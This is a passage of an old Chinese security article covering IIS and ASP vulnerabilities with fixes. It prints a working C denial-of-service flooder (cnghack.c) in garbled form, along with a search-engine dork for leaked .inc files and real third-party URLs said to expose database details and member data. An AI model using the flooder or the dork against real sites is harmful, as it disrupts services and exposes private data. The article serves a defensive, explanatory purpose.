首页 > 安全 > 系统安全 >

ASP漏洞及安全建议(下)

2004-10-03

17 IIS web server DOS 漏洞描述: 默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接 受的

17 IIS web server DOS
漏洞描述:
默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接
受的输入量。如果 "MaxClientRequestBuffer" 设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用下面的程序。可以很容易地对IIS server实行DOS攻击:

#include
#include
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Wont exit correctly and a lot
of other fun things.
//That I didnt want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS. Marc@eEye.comhttp://www.eeye.com "For my
beloved." ");
if(argc<2){
printf("Usage: %s [server] [port] "argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer A strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila &data)) !=0 ){
printf("failed to start winsock. ");
exit(1);
}
else{
printf("started winsock. ");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0
0
(LPTHREAD_START_ROUTINE) cng
( void * )++counter
0
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads. ");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter] 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0 p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/ ";
int die=1;
printf("Entered CNG ");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET SOCK_STREAM 0)) < 0){
printf("Failed to create socket ");
--current_threads;
return;
}
if(!connect(SockFD(struct sockaddr *)&DstSAin sizeof(DstSAin)))
{
p=send(SockFDGETKILLEDstrlen(GETKILLED)0);
printf("Step 1: %i " p);
for(;;){
p=send(SockFDbufferstrlen(buffer)0);
printf("P: %i " p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG ");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an
[buffer] is a never ending stream of As

攻击结果将导致NT系统的CPU占用率达到 100%

解决方案
运行Regedt32.exe
在:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw3svcparameters
增加一个值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
设置为十进制
具体数值设置为你想设定的IIS允许接受的URL最大长度。
CNNS的设置为256

18、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击
漏 洞 描 述:
Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。
如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。

影响系统:
ODBC 版本: 3.510.3711.0
ODBC Access驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5 IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)

漏洞检测方法如下:
ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:datamisc.mdb

ASP代码如下:


...lots of html removed...

在这种情况下,IIS处理进程将会停顿,CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。

19、ASP主页.inc文件泄露问题
漏洞描述:
受影响的版本:任何提供ASP服务的系统
远程:YES / 本地:YES
内容摘要:
当存在asp的主页正在制作并没有进行最后调试完成以前,可以被某些搜索引擎机动追加为搜索对象,如果这时候有人利用搜索引擎对这些网页进行查找,会得到有关文件的定位,并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
具体操作过程是:
- 利用搜索引擎查找包含+"Microsoft VBScript 运行时刻错误执行搜索" +".inc ," 的关键字
- 搜索引擎会自动查找包含asp的包含文件(.inc)并显示给用户
- 利用浏览器观看包含文件的源代码,其中可能会有某些敏感信息

漏洞的利用:
例子:
http://shopping.altavista.com/inc/lib/prep.lib
暴露数据库连接和性质 资源地点 小甜饼逻辑服务器 IP 地址
http://www.justshop.com/SFLib/ship.inc
暴露数据库性质
http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地点和结构
http://www.bjsbabes.com/SFLib/design.inc
包括数据库结构为 StoreFront 2000 暴露源代码
http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎记录文件
http://www.wcastl.com/include/functions.inc
暴露成员电子邮件地址
http://www.wcastl.com/flat/comments.txt
暴露成员私人的注释文件
http://www.traveler.net/two/cookies.inc
暴露 cookie 逻辑

解决方案:
- 搜索引擎应该不索引有 asp 运行时刻错误的页
- 程序员应该在网页发布前对其进行彻底的调试
- 安全专家需要固定 asp 包含文件以便外部的用户不能看他们
asp 新闻组、站点提供两个解决方案对这个漏洞进行修正,首先对 .inc 文件内容进行加密,其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的,尽量使用无规则的英文字母。

20、利用Activer server explorer可对文件进行读写访问
漏洞描述:
chinaasp的Activer server explorer可以很方便的对本地文件在线查看服务器上的目录 在线查看文件的名称、大小、类型、修改时间在线编辑纯文本文件,如.txt、.htm、.asp、.pl、.cgi等等直接执行服务器上的文件。
Activer server explorer要求填写相对路径或者绝对路径,但是假如:有一个攻击者把Activer server explorer上传到目标服务器上的某个目录,并且这个目录支持ASP的话,那么他就可以通过Activer server explorer修改、执行目标服务器上的文件。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号,并且这个目录又支持ASP。比如一些支持ASP的个人免费主页服务器,把Activer server explorer先传上你申请的免费主页空间,再通过各种方法得到目标服务器的路径,(比如可通过漏洞:"请求不存在的扩展名为idq或ida 文件,会暴露文件在服务器上的物

热点推荐